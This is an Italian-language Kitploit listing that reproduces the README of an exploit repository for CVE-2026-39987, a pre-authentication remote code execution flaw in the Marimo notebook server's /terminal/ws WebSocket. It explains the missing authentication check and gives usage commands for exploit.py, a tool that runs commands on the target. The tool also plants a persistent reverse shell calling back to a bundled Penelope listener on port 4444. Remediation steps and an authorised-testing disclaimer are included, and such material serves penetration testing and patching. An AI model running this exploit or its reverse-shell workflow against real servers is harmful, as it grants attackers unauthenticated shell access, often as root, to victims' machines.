Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-39987 — Exploit di Marimo precedente alla 0.23.0. Vulnerabilità Pre-Auth RCE tramite endpoint websocket: /terminal/ws. | Kitploit
Strumenti/GitHubGitHub/gbuyssens/cve-2026-39987
Generazione di PayloadExploitSfruttamento di Applicazioni WebPost-ExploitPenetration TestingStrumento di Accesso Remoto
GitHubgbuyssens/cve-2026-39987

CVE-2026-39987

Exploit di Marimo precedente alla 0.23.0. Vulnerabilità Pre-Auth RCE tramite endpoint websocket: /terminal/ws.

Vedi Repository
131 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-39987 — Marimo RCE pre-autenticazione (/terminal/ws)

CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE      : CWE-306 (Missing Authentication for Critical Function)
Fix      : Marimo 0.23.0+
Affects  : Marimo <= 0.20.4 (all builds prior to the auth fix)

Esecuzione remota di codice pre-autenticata in Marimo, un server notebook Python reattivo.
Una singola connessione WebSocket non autenticata a /terminal/ws produce una shell PTY interattiva completa come utente che esegue il processo Marimo (spesso root in Docker).

Solo laboratorio / test autorizzati (HTB, CTF, engagement con scope scritto).


Indice

  • Riepilogo della vulnerabilità
  • Causa principale
  • Catena di attacco
  • Versioni interessate
  • Questo repository
  • Installazione
  • Utilizzo
  • Integrazione con Penelope
  • Rimedi
  • Riferimenti

Riepilogo della vulnerabilità

Marimo espone un terminale integrato tramite WebSocket all'indirizzo:

ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws

Le altre route WebSocket (in particolare /ws per l'interfaccia del notebook) chiamano correttamente validate_auth().
/terminal/ws non lo fa. Controlla solo:

  1. che il server sia in modalità edit
  2. che la piattaforma supporti un PTY

poi immediatamente:

await websocket.accept()
child_pid, fd = pty.fork()   # full system shell

Non è richiesto alcun cookie, token, password o header Authorization — anche quando l'autenticazione è abilitata sull'istanza.

Impatto: esecuzione non autenticata di comandi arbitrari con i privilegi del processo Marimo. Nelle immagini container predefinite si tratta spesso di root.


Causa principale

File (albero vulnerabile): marimo/_server/api/endpoints/terminal.py

@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
    app_state = AppState(websocket)
    if app_state.mode != SessionMode.EDIT:
        await websocket.close(...)
        return
    if not supports_terminal():
        await websocket.close(...)
        return
    # <<< no validate_auth() / @requires("edit") >>>
    await websocket.accept()
    child_pid, fd = pty.fork()
    # ... bridge WebSocket <-> PTY ...

Confronta con il WebSocket del notebook (ws_endpoint.py), che invece applica l'autenticazione:

validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
    return

Catena di attacco

 Attacker                         Marimo (edit mode)
    |                                    |
    |  WS upgrade /terminal/ws           |
    |----------------------------------->|
    |  101 Switching Protocols           |
    |  (no auth challenge)               |
    |<-----------------------------------|
    |                                    |  pty.fork() → /bin/bash
    |  "id\n"                            |
    |----------------------------------->|
    |  uid=1000(marimo) ...              |
    |<-----------------------------------|
    |  persistent reverse shell          |
    |----------------------------------->|
    |         <======== TCP shell =======|
  1. Connettersi a ws(s)://target/terminal/ws senza credenziali
  2. Il server accetta e crea una shell basata su PTY
  3. Inviare sequenze di tasti (comandi) tramite il WebSocket
  4. Opzionalmente creare una reverse shell distaccata che sopravvive alla chiusura della WS

Versioni interessate

StatoVersioni
VulnerabileMarimo <= 0.20.4 (pre-fix)
CorrettoMarimo 0.23.0 e successive

Qualsiasi distribuzione che espone il WebSocket del terminale (modalità edit, PTY supportato) senza un gateway di autenticazione esterno è in scope.


Questo repository

FileRuolo
exploit.pyPoC: esecuzione comandi + reverse shell persistente + launcher Penelope
penelope.pyHandler shell standalone (brightio/penelope)
README.mdQuesto file

Installazione

git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py

penelope.py non richiede nessuna dipendenza aggiuntiva (libreria standard Python 3.6+).


Utilizzo

1. Esecuzione comandi one-shot

python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab  -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"

Cosa succede:

  1. Un processo figlio (fork) attende brevemente, quindi invia una reverse shell distaccata tramite /terminal/ws
  2. Il processo padre esegue Penelope (exec) su 0.0.0.0:4444
  3. Quando il callback arriva, Penelope si aggancia automaticamente e fa l'upgrade della sessione

Se necessario

python3 exploit.py -h

Integrazione con Penelope

Penelope è incluso come script standalone (penelope.py):

  • nessuna installazione, solo libreria standard
  • handler multi-sessione
  • upgrade automatico della TTY
  • upload/download di file, logging, ecc.

Flusso predefinito (-p):

exploit.py
   ├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
   │
   └── exec ► penelope.py <PORT> -i 0.0.0.0
                    ▲
                    │ TCP callback
                    └── victim

Il processo figlio viene usato appositamente: os.execv(penelope) sostituisce l'immagine del processo padre, il che ucciderebbe un thread in background.

Penelope manuale:

python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a          # show sample payloads for active listeners

Rimedi

  1. Aggiornare a Marimo >= 0.23.0 (pip install -U marimo)
  2. Non esporre i server notebook in modalità edit su internet pubblico
  3. Mettere authn/authz a un reverse proxy se l'app deve essere remota
  4. Vincolare a localhost / rete privata; usare VPN o tunnel SSH
  5. Dopo un sospetto sfruttamento: ruotare le credenziali raggiungibili dall'host (chiavi cloud, .env, chiavi SSH), controllare le connessioni in uscita e la persistenza

Riferimenti

  • NVD — CVE-2026-39987
  • GHSA-2679-6mx9-h9xc
  • Fix Marimo PR #9098
  • Analisi di Resecurity
  • Handler shell Penelope

Disclaimer

Questo progetto è destinato esclusivamente a test di sicurezza autorizzati, istruzione e ricerca difensiva.
Sei responsabile del rispetto delle leggi applicabili e delle regole di ingaggio del tuo laboratorio o cliente.

Scarica lo strumento